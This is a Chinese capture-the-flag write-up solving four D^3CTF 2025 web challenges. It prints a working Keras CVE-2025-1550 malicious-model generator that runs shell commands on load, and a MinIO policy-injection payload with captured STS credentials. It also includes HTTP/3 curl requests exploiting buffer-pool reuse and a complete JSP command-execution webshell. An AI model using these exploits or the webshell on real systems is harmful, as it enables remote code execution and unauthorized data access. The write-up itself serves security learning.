D^3CTF 复现记录
2025-06-04|CTF

d3model

从 requirements.txt 中看到 Keras 版本 3.8.0,由此可以搜到 CVE-2025-1550

参考此文章:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

文中的代码可以直接用。运行后将生成的 keras 文件上传,就会执行 env 写入 index.html

import os
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name = "test.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
    config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
    "name": "mvlttt",
    "layers": [
        {
            "name": "mvlttt",
            "class_name": "function",
            "config": "Popen",
            "module": "subprocess",
            "inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]
        }],
    "input_layers": [["mvlttt", 0, 0]],
    "output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
    zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")

d3invitation

有 minio 和 webapp 两个服务

这个 web 服务可以通过上传的图片和输入的 id 生成一个邀请函

重点在于图片上传。主要的交互逻辑在 tools.js 中:

function generateInvitation(user_id, avatarFile) {
    if (avatarFile) {
        object_name = avatarFile.name;
        genSTSCreds(object_name)
            .then(credsData => {
                return putAvatar(
                    credsData.access_key_id,
                    credsData.secret_access_key,
                    credsData.session_token,
                    object_name,
                    avatarFile
                ).then(() => {
                    navigateToInvitation(
                        user_id,
                        credsData.access_key_id,
                        credsData.secret_access_key,
                        credsData.session_token,
                        object_name
                    )
                })
            })
            .catch(error => {
                console.error('Error generating STS credentials or uploading avatar:', error);
            });
    } else {
        navigateToInvitation(user_id);
    }
}


function navigateToInvitation(user_id, access_key_id, secret_access_key, session_token, object_name) {
    let url = `invitation?user_id=${encodeURIComponent(user_id)}`;

    if (access_key_id) {
        url += `&access_key_id=${encodeURIComponent(access_key_id)}`;
    }

    if (secret_access_key) {
        url += `&secret_access_key=${encodeURIComponent(secret_access_key)}`;
    }

    if (session_token) {
        url += `&session_token=${encodeURIComponent(session_token)}`;
    }

    if (object_name) {
        url += `&object_name=${encodeURIComponent(object_name)}`;
    }

    window.location.href = url;
}


function genSTSCreds(object_name) {
    return new Promise((resolve, reject) => {
        const genSTSJson = {
            "object_name": object_name
        }

        fetch('/api/genSTSCreds', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(genSTSJson)
        })
            .then(response => {
                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                return response.json();
            })
            .then(data => {
                resolve(data);
            })
            .catch(error => {
                reject(error);
            });
    });
}

function getAvatarUrl(access_key_id, secret_access_key, session_token, object_name) {
    return `/api/getObject?access_key_id=${encodeURIComponent(access_key_id)}&secret_access_key=${encodeURIComponent(secret_access_key)}&session_token=${encodeURIComponent(session_token)}&object_name=${encodeURIComponent(object_name)}`
}

function putAvatar(access_key_id, secret_access_key, session_token, object_name, avatar) {
    return new Promise((resolve, reject) => {
        const formData = new FormData();
        formData.append('access_key_id', access_key_id);
        formData.append('secret_access_key', secret_access_key);
        formData.append('session_token', session_token);
        formData.append('object_name', object_name);
        formData.append('avatar', avatar);

        fetch('/api/putObject', {
            method: 'POST',
            body: formData
        })
            .then(response => {
                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                return response.json();
            })
            .then(data => {
                resolve(data);
            })
            .catch(error => {
                reject(error);
            });
    });
}

如果有头像文件的话,会向 /api/genSTSCreds 接口发送请求,获取一个临时 STS 凭证(包含 access_key_id secret_access_key session_token ),然后用这个凭证上传头像文件。在邀请函页面会用这个凭证读取图片:document.getElementById('userAvatarDisplay').src = getAvatarUrl(access_key_id, secret_access_key, session_token, object_name);

因为获取到凭证后马上跳转了,并且清除了查询参数。抓包看看一下这个 Credential

image-20250603204622408

session_token 看起来像 JWT。到 jwt.io 解一下看看

image-20250603204729756

再对 sessionPolicy 字段 Base64 解码:

{
  	"Version":"2012-10-17",
  	"Statement": [{
        	"Effect":"Allow",
          "Action": ["s3:GetObject","s3:PutObject"],
          "Resource": ["arn:aws:s3:::d3invitation/test"]
     }]
}

看来这就是它的 Policy 了

在 MinIO 中 Policy 是实现基于策略的访问控制(Policy-Based Access Control, PBAC)的核心机制。它定义了哪个用户(或用户组)可以对哪些资源执行哪些操作

简单来说,上面这个 Policy 授予了对 d3invitation 存储桶内 test 这个特定对象的读(获取)和写(放置/覆盖)权限

  • "Version":"2012-10-17":指定了策略语言的版本,这是一个标准值。
  • "Statement": [...]:包含一个或多个权限声明。这里只有一个声明。
    • "Effect":"Allow":表示这个声明的效果是“允许”。
    • "Action": ["s3:GetObject","s3:PutObject"]:指定了允许执行的具体操作列表。
      • s3:GetObject:允许获取对象内容。
      • s3:PutObject:允许上传或覆盖对象。
    • "Resource": ["arn:aws:s3:::d3invitation/test"]:指定了这些操作可以应用的资源。
      • arn:aws:s3::::是 S3 资源的 ARN (Amazon Resource Name) 格式前缀。
      • d3invitation:是存储桶的名称。
      • /test:是存储桶内对象的键名(路径/文件名)。这里指的是名为 test 的单个对象

可以注意到桶的名称就是上传的图片名。那么可以尝试注入

提前闭合符号,注入第二个 Statement,使得能够有对所有桶的所有权限:

*"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*

带上获取到的 Credential 通过 mc 访问 MinIO 获取 flag:

# export MC_HOST_ctfminio="http://ACCESS_KEY:SECRET_KEY:[email protected]:9000"
❯ export MC_HOST_ctf="http://7RNQ1L1AY3EKKHDBXTEY:8lpv+KRODSzxXyd15fGRpZGZVwYvo0caLhL7FaAJ:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI3Uk5RMUwxQVkzRUtLSERCWFRFWSIsImV4cCI6MTc0ODk2MTExNSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.JoadtsPVLLo0JSW_HOVmpR1fvwS_geYGYFvr3_Wk_6i-YzS7mvvU1UHhmfGvPX4GKKy1etZ99jZM8-19-0fIkA@35.241.98.126:31129"

❯ mc ls ctf
[2025-06-03 19:59:47 CST]     0B d3invitation/
[2025-06-03 19:59:47 CST]     0B flag/
❯ mc ls ctf/flag
[2025-06-03 20:42:51 CST]    56B STANDARD flag
❯ mc cat ctf/flag/flag
d3ctf{1-thinK-WE_haVE-3ncOuNt3Red-POI1CY-InJEcT1oN?!41}

tidy quic

题目源码:

package main

import (
	"bytes"
	"errors"
	"github.com/libp2p/go-buffer-pool"
	"github.com/quic-go/quic-go/http3"
	"io"
	"log"
	"net/http"
	"os"
)

var p pool.BufferPool // 声明一个全局的缓冲区池实例,用于优化 []byte 的分配
var ErrWAF = errors.New("WAF") // 定义一个自定义错误,表示 WAF 触发

func main() {
	// 启动一个 goroutine 来监听 HTTPS (TLS) 请求
	go func() {
		// 在 8080 端口上启动一个 HTTPS 服务器
		// "./server.crt" 和 "./server.key" 是 TLS 证书和私钥文件
		// &mux{} 是自定义的 HTTP 请求处理器
		err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err) // 如果服务器启动失败,记录致命错误并退出
	}()
	// 启动另一个 goroutine 来监听 HTTP/3 (QUIC) 请求
	go func() {
		// 在 8080 端口上启动一个 HTTP/3 服务器 (QUIC 使用 UDP,可以和 TCP 监听同一端口号)
		// 使用相同的证书和密钥,以及相同的请求处理器
		err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err) // 如果服务器启动失败,记录致命错误并退出
	}()
	select {} // 阻塞 main goroutine,使服务器持续运行,直到程序被外部终止
}

// 一个自定义的 HTTP 请求处理器类型
type mux struct {
}

// ServeHTTP 方法实现了 http.Handler 接口,用于处理所有传入的 HTTP 请求
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	// 处理 GET 请求
	if r.Method == http.MethodGet {
		_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web.")) // 发送一个欢迎信息
		return
	}
	// 如果不是 GET 也不是 POST 请求,返回 400 Bad Request
	if r.Method != http.MethodPost {
		w.WriteHeader(400)
		return
	}

	// 以下处理 POST 请求
	var buf []byte // 用于存储请求体内容
	length := int(r.ContentLength) // 获取请求体的长度

	if length == -1 { // 如果 ContentLength 未知
		var err error
		// 使用 textInterrupterWrap 包装请求体,然后读取所有内容
		// textInterrupterWrap 包含 WAF 逻辑
		buf, err = io.ReadAll(textInterrupterWrap(r.Body))
		if err != nil {
			if errors.Is(err, ErrWAF) { // 如果是 WAF 错误
				w.WriteHeader(400)
				_, _ = w.Write([]byte("WAF")) // 返回 WAF 提示
			} else { // 其他读取错误
				w.WriteHeader(500)
				_, _ = w.Write([]byte("error"))
			}
			return
		}
	} else { // 如果 ContentLength 已知
		buf = p.Get(length) // 从缓冲区池获取一个指定长度的字节切片
		defer p.Put(buf)    // 函数结束时将字节切片归还给池
		
		rd := textInterrupterWrap(r.Body) // 包装请求体以启用 WAF
		i := 0 // 当前已读取到 buf 中的字节数
		for { // 循环读取,直到读取完或出错
			n, err := rd.Read(buf[i:]) // 从包装后的请求体读取数据到 buf
			if err != nil {
				if errors.Is(err, io.EOF) { // 如果到达文件末尾
					break // 读取完成
				} else if errors.Is(err, ErrWAF) { // 如果是 WAF 错误
					w.WriteHeader(400)
					_, _ = w.Write([]byte("WAF"))
					return
				} else { // 其他读取错误
					w.WriteHeader(500)
					_, _ = w.Write([]byte("error"))
					return
				}
			}
			i += n // 累加已读取的字节数
		}
		buf = buf[:i] // 调整 buf 的实际长度为读取到的内容长度
	}

	// 检查请求体内容是否以 "I want" 开头
	if !bytes.HasPrefix(buf, []byte("I want")) {
		_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
		return
	}
	// 提取 "I want" 之后的部分,并去除首尾空格
	item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
	
	// 如果提取出的 item 是 "flag"
	if bytes.Equal(item, []byte("flag")) {
		// 从环境变量 "FLAG" 中获取值并返回
		_, _ = w.Write([]byte(os.Getenv("FLAG"))) 
	} else {
		// 否则,回显提取出的 item
		_, _ = w.Write(item)
	}
}

// wrap 是一个自定义的 io.ReadCloser 实现,用于在读取时检查特定字符串(WAF 功能)
type wrap struct {
	io.ReadCloser     // 嵌入原始的 io.ReadCloser (例如 http.Request.Body)
	ban           []byte // 要禁止的字节序列 (这里是 "flag")
	idx           int    // 当前匹配到 ban 序列中的位置
}

// Read 方法实现了 io.Reader 接口
func (w *wrap) Read(p []byte) (int, error) {
	// 从原始的 ReadCloser 读取数据到缓冲区 p
	n, err := w.ReadCloser.Read(p) 
	// 如果有错误且不是 EOF (文件结束),则直接返回
	if err != nil && !errors.Is(err, io.EOF) {
		return n, err
	}

	// 遍历本次读取到的字节 (p[:n])
	for i := 0; i < n; i++ {
		if p[i] == w.ban[w.idx] { // 如果当前字节与 ban 序列中期望的字节匹配
			w.idx++ // 匹配索引向前移动
			if w.idx == len(w.ban) { // 如果 ban 序列 ("flag") 被完整匹配
				return n, ErrWAF // 返回已读取的字节数 n 和 WAF 错误
			}
		} else { // 如果当前字节不匹配
			// 如果不匹配,但 p[i] 恰好是 ban[0] (例如,正在匹配 "flag",遇到 "flf",则从新的 'f' 开始重新匹配)
			if p[i] == w.ban[0] {
				w.idx = 1
			} else {
				w.idx = 0 // 重置匹配索引
			}
		}
	}
	return n, err // 返回读取的字节数和原始错误 (可能是 EOF 或 nil)
}

// textInterrupterWrap 是一个辅助函数,用于创建一个 wrap 实例
// 它接收一个 io.ReadCloser (如请求体),并返回一个包装了 WAF 功能的 wrap 实例
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
	return &wrap{
		ReadCloser: rc,
		ban:        []byte("flag"), // WAF 要拦截的关键词是 "flag"
		idx:        0,
	}
}

看来要发送一个 “I want flag” 文本,但是 flag 这个关键词会被 WAF 拦截

在 HTTP/3 中,请求和响应体通过 QUIC 流进行传输。当客户端在请求体所在的 QUIC 流上发送 FIN 标志时,明确表示其已完成发送。

服务端应用程序通过读取该流(如 Go 中的 Read() 方法)接收数据。如果客户端在尚未发送完整请求体(即小于 Content-Length 所声明的长度)时即发送 FIN,读取操作将按以下方式表现:

  • 读取行为:服务器将接收所有已传输的数据,并在到达流末尾时返回 io.EOF,标志流已终止
  • 不等待 Content-Length 完整:QUIC 层以 FIN 为终点,不会因 Content-Length 未满足而延迟或阻塞读取操作
  • 应用层验证责任:读取结束后,应用程序需校验实际接收数据是否满足 Content-Length。若数据不足,根据 HTTP/3(RFC 9114)规范,这应视为畸形请求,服务器可据此返回适当的 4xx 错误

题目代码通过 Content-Length 字段的值获取相应长度的字节切片,但不验证实际请求体长度

先看一下存在 Content-Length 时的数据读取过程:

  1. 准备一个固定大小的容器 (buf)。
  2. 不断地从数据源 (rd) 读取数据到容器中尚未填满的部分 (buf[i:])。
  3. 每次读取完,记录一下总共读了多少 (i += n)。
  4. 直到数据流末 (io.EOF) 或者发生错误。
  5. 容器只显示实际读取到的数据 (buf = buf[:i])
  6. 最后归还缓冲区 (p.Put(buf))

其中归还缓冲区这个操作,主要是将缓冲区本身(即那块内存)标记为可供后续使用,并放回池中。它通常不会主动清除缓冲区中之前读取的数据。池的管理机制关心的是内存块的可用性,而不是内存块当前的内容

因此归还 buf 时,buf 中包含的、在 rd.Read() 操作中读取到的数据,仍然存在于那块内存中

当另一个请求(或同一应用内的其他部分)稍后调用 p.Get(length) 时,如果缓冲池决定复用之前归还的那个 buf(或者更准确地说,是那块内存),那么新获取到的这个缓冲区将包含上一次使用时留下的数据

length 一样的话,第二次请求有可能复用到第一次请求的缓冲区数据。所以第一次请求传入完整的语句,第二次请求去掉后两位

为了使用 HTTP 3 连接靶机,需要安装一个支持 HTTP 3 的 curl

curl -O https://raw.githubusercontent.com/cloudflare/homebrew-cloudflare/master/curl.rb
brew remove -f --ignore-dependencies curl
./curl.rb
echo 'export PATH="/opt/homebrew/opt/curl/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
curl -k --http3 https://35.241.98.126:31853 -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d "I wantflag"

curl -k --http3 https://35.241.98.126:31853 -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d "I wantfl"

image-20250604230140207

jtar

有三个接口

@GetMapping({"/view"})
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
    if (page.matches("^[a-zA-Z0-9-]+$")) {
        String viewPath = "/WEB-INF/views/" + page + ".jsp";
        String realPath = request.getServletContext().getRealPath(viewPath);
        File jspFile = new File(realPath);
        if (realPath != null && jspFile.exists()) {
            return new ModelAndView(page);
        }
    }

    ModelAndView mav = new ModelAndView("Error");
    mav.addObject("message", "The file don't exist.");
    return mav;
}

@PostMapping({"/Upload"})
@ResponseBody
public String UploadController(@RequestParam MultipartFile file) {
    try {
        String uploadDir = "webapps/ROOT/WEB-INF/views";
        Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
        String filePath = Upload.secureUpload(file, uploadDir, blackList);
        return "Upload Success: " + filePath;
    } catch (Upload.UploadException var5) {
        Upload.UploadException e = var5;
        return "The file is forbidden: " + e;
    }
}

@PostMapping({"/BackUp"})
@ResponseBody
public String BackUpController(@RequestParam String op) {
    if (Objects.equals(op, "tar")) {
        try {
            BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
            return "Success !";
        } catch (IOException var3) {
            return "Failure : tar Error";
        }
    } else if (Objects.equals(op, "untar")) {
        try {
            BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
            return "Success !";
        } catch (IOException var4) {
            return "Failure : untar Error";
        }
    } else {
        return "Failure : option Error";
    }
}

文件上传限制很严,上传后会被命名为 <uuid>.后缀,虽然由于 Java 正则中的 .* 不能匹配行终止符可以绕过文件名检查,但是仍然无法上传黑名单后缀文件

BackUp 中可以对上传目录的所有文件进行 tar 打包和解包操作:

public static void tarDirectory(Path outputFile, Path inputDirectory) throws IOException {
    tarDirectory(outputFile, inputDirectory, Collections.emptyList());
}

public static void tarDirectory(Path outputFile, Path inputDirectory, List<String> pathPrefixesToExclude) throws IOException {
    FileOutputStream dest = new FileOutputStream(outputFile.toFile());
    Path outputFileAbsolute = outputFile.normalize().toAbsolutePath();
    Path inputDirectoryAbsolute = inputDirectory.normalize().toAbsolutePath();
    int inputPathLength = inputDirectoryAbsolute.toString().length();
    TarOutputStream out = new TarOutputStream(new BufferedOutputStream(dest));
    Throwable var8 = null;

    try {
        Files.walk(inputDirectoryAbsolute).forEach((entry) -> {
            if (!Files.isDirectory(entry, new LinkOption[0])) {
                if (!entry.equals(outputFileAbsolute)) {
                    try {
                        String relativeName = entry.toString().substring(inputPathLength + 1);
                        out.putNextEntry(new TarEntry(entry.toFile(), relativeName));
                        BufferedInputStream origin = new BufferedInputStream(new FileInputStream(entry.toFile()));
                        byte[] data = new byte[2048];

                        int count;
                        while((count = origin.read(data)) != -1) {
                            out.write(data, 0, count);
                        }

                        out.flush();
                        origin.close();
                    } catch (IOException var8) {
                        IOException e = var8;
                        e.printStackTrace();
                    }

                }
            }
        });
    } catch (Throwable var17) {
        var8 = var17;
        throw var17;
    } finally {
        if (out != null) {
            if (var8 != null) {
                try {
                    out.close();
                } catch (Throwable var16) {
                    var8.addSuppressed(var16);
                }
            } else {
                out.close();
            }
        }

    }

}

public static void untar(Path outputDirectory, Path inputTarFile) throws IOException {
    FileInputStream fileInputStream = new FileInputStream(inputTarFile.toFile());
    Throwable var3 = null;

    try {
        untar(outputDirectory, (InputStream)fileInputStream);
    } catch (Throwable var12) {
        var3 = var12;
        throw var12;
    } finally {
        if (fileInputStream != null) {
            if (var3 != null) {
                try {
                    fileInputStream.close();
                } catch (Throwable var11) {
                    var3.addSuppressed(var11);
                }
            } else {
                fileInputStream.close();
            }
        }

    }

}

public static void untar(Path outputDirectory, InputStream inputStream) throws IOException {
    TarInputStream tarInputStream = new TarInputStream(inputStream);
    Throwable var3 = null;

    try {
        TarEntry entry;
        try {
            while((entry = tarInputStream.getNextEntry()) != null) {
                byte[] data = new byte['耀'];
                File outputFile = new File(outputDirectory + "/" + entry.getName());
                if (!outputFile.getParentFile().isDirectory()) {
                    outputFile.getParentFile().mkdirs();
                }

                FileOutputStream fos = new FileOutputStream(outputFile);
                BufferedOutputStream dest = new BufferedOutputStream(fos);

                int count;
                while((count = tarInputStream.read(data)) != -1) {
                    dest.write(data, 0, count);
                }

                dest.flush();
                dest.close();
            }
        } catch (Throwable var17) {
            var3 = var17;
            throw var17;
        }
    } finally {
        if (tarInputStream != null) {
            if (var3 != null) {
                try {
                    tarInputStream.close();
                } catch (Throwable var16) {
                    var3.addSuppressed(var16);
                }
            } else {
                tarInputStream.close();
            }
        }

    }

}

tar 方法中:org.kamranzafar.jtar.TarOutputStream#putNextEntry() 这个方法用于在 tar 归档中开始一个新的条目(entry)。它会写入该条目的元数据,包括文件名、文件大小、权限、时间戳等。然后再调用 write 写入到 tar 归档中。write 从源文件读取数据块 (data),然后通过 out.write(data, 0, count) 将这些数据块写入到 tar 输出流中

untar 方法中:与 tar 方法相对应。它对于每一个 entry 不断从输入流中读取数据,调用 write 写入到文件输出流

题目名是 "jtar",但这段打包和解包逻辑看起来没有什么问题,问题可能出在 jtar 内部实现中。看一下 TarOutputStream 源码中打包的逻辑。一步步跟进,看看写文件名相关的逻辑:

// org.kamranzafar.jtar.TarOutputStream
public void putNextEntry(TarEntry entry) throws IOException {
    closeCurrentEntry();

    byte[] header = new byte[TarConstants.HEADER_BLOCK];
    entry.writeEntryHeader( header );

    write( header );

    currentEntry = entry;
}

// org.kamranzafar.jtar.TarEntry
public void writeEntryHeader(byte[] outbuf) {
		int offset = 0;

  	// 获取文件名(Bytes)
		offset = TarHeader.getNameBytes(header.name, outbuf, offset, TarHeader.NAMELEN);
		offset = Octal.getOctalBytes(header.mode, outbuf, offset, TarHeader.MODELEN);
		offset = Octal.getOctalBytes(header.userId, outbuf, offset, TarHeader.UIDLEN);
		offset = Octal.getOctalBytes(header.groupId, outbuf, offset, TarHeader.GIDLEN);

		long size = header.size;

		offset = Octal.getLongOctalBytes(size, outbuf, offset, TarHeader.SIZELEN);
		offset = Octal.getLongOctalBytes(header.modTime, outbuf, offset, TarHeader.MODTIMELEN);

		int csOffset = offset;
		for (int c = 0; c < TarHeader.CHKSUMLEN; ++c)
			outbuf[offset++] = (byte) ' ';

		outbuf[offset++] = header.linkFlag;

		offset = TarHeader.getNameBytes(header.linkName, outbuf, offset, TarHeader.NAMELEN);
		offset = TarHeader.getNameBytes(header.magic, outbuf, offset, TarHeader.USTAR_MAGICLEN);
		offset = TarHeader.getNameBytes(header.userName, outbuf, offset, TarHeader.USTAR_USER_NAMELEN);
		offset = TarHeader.getNameBytes(header.groupName, outbuf, offset, TarHeader.USTAR_GROUP_NAMELEN);
		offset = Octal.getOctalBytes(header.devMajor, outbuf, offset, TarHeader.USTAR_DEVLEN);
		offset = Octal.getOctalBytes(header.devMinor, outbuf, offset, TarHeader.USTAR_DEVLEN);
		offset = TarHeader.getNameBytes(header.namePrefix, outbuf, offset, TarHeader.USTAR_FILENAME_PREFIX);

		for (; offset < outbuf.length;)
			outbuf[offset++] = 0;

		long checkSum = this.computeCheckSum(outbuf);

		Octal.getCheckSumOctalBytes(checkSum, outbuf, csOffset, TarHeader.CHKSUMLEN);
}

// org.kamranzafar.jtar.TarHeader
public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {
  int i;

  for (i = 0; i < length && i < name.length(); ++i) {
    buf[offset + i] = (byte) name.charAt(i);
  }

  for (; i < length; ++i) {
    buf[offset + i] = 0;
  }

  return offset + length;
}

到了 getNameBytes 这里,通过 StringBuffer#charAt() 方法获取了指定下标的 char,然后强制转换成 byte 类型

因为 Java 中 char 的大小是 2 字节,范围是 0 ~ 65515(\u0000\uffff),而 byte 是 1 字节,范围是 -128 ~ 127,所以如果 char 超过了 256,就会发生数据截断,即只保留低 8 位

所以就想找到一个字符在转换后变成 j、s、p 中的一个字符

比如 j 二进制表示是 00000000 01101010,考虑加上一个数,使其低八位不变,只改变高八位

即加上超过 8 位的数字(低八位全为 0)。比如 00000001 00000000,十进制为 256。相加后为 00000001 01101010。截断后,就是 01101010 即字符 “j” 了

可以在 Python 中看相加后是哪个字符

>>> chr(256+ord('j'))
'Ū'

所以就传一个 jsp 马,后缀名改成 .Ūsp,上传后进行备份操作,通过 jtar 打包成 tar 后就会变成 .jsp,再进行恢复操作,就可以访问这个马了

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

            String line;
            while ((line = reader.readLine()) != null) {
                out.println(line);
            }

            p.waitFor();
        } catch (Exception e) {
            out.println("Error: " + e.getMessage());
        }
    }
%>${message}